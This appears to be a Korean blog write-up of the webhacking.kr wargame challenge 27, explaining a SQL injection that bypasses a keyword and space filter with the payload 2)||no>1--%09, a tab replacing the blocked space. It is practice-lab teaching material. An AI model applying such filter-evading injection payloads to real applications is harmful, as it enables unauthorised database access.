SQL injection
소스를 보면 no값을 GET방식으로 받고
#, select, (, 공백, limit, =을 필터링하고 있다
쿼리문은
Select id from chall27 where id='guest' and no=()
저 괄호 안에 우리가주는 값이 들어가게 된다
쿼리문을 넘겨 admin이 나오면 클리어
admin은 2니까 1을 넣으면
guest가 나온다
이때 쿼리문은
Select id from chall27 where id='guest' and no=(1)
querry error가 나온다
Select id from chall27 where id='guest' and no=(2)
guest는 no=1이니까 거짓일 수 밖에 없다
admin을 꺼내오려면 조건문에서
id='guest' and no=
이것을 거짓으로 만들고 다른 SQL문을 삽입해야한다
no값에 2||no>1을 삽입했을 때
Select id from chall27 where id='guest' and no=(2||no>1)
괄호를 우회하기 위한 구문도 넣어주어야 한다
위에 필터링 목록을 보면
여는 괄호만 적용되어 있기때문에
2다음에 닫아주고 뒤는 주석처리를 한다
no값에 2)||no>1--%09
Select id from chall27 where id='guest' and no=(2)||no>1-- )
--뒤에는 공백이 있어야 주석이 적용되기 때문에
' '(%20)//한칸공백을 넣어줘도 되지만 필터링되기에
%09(tab)을 넣어주어 공백효과를 낸다
'Wargame, CTF > webhacking.kr' 카테고리의 다른 글
Webhacking.kr 20번 (0) | 2019.10.21 |
---|---|
Webhacking.kr 23번 (0) | 2019.10.21 |
[Web] Login (0) | 2019.08.20 |
webhacking.kr 1번 문제 (0) | 2019.05.01 |
webhacking.kr 가입하기 (0) | 2019.05.01 |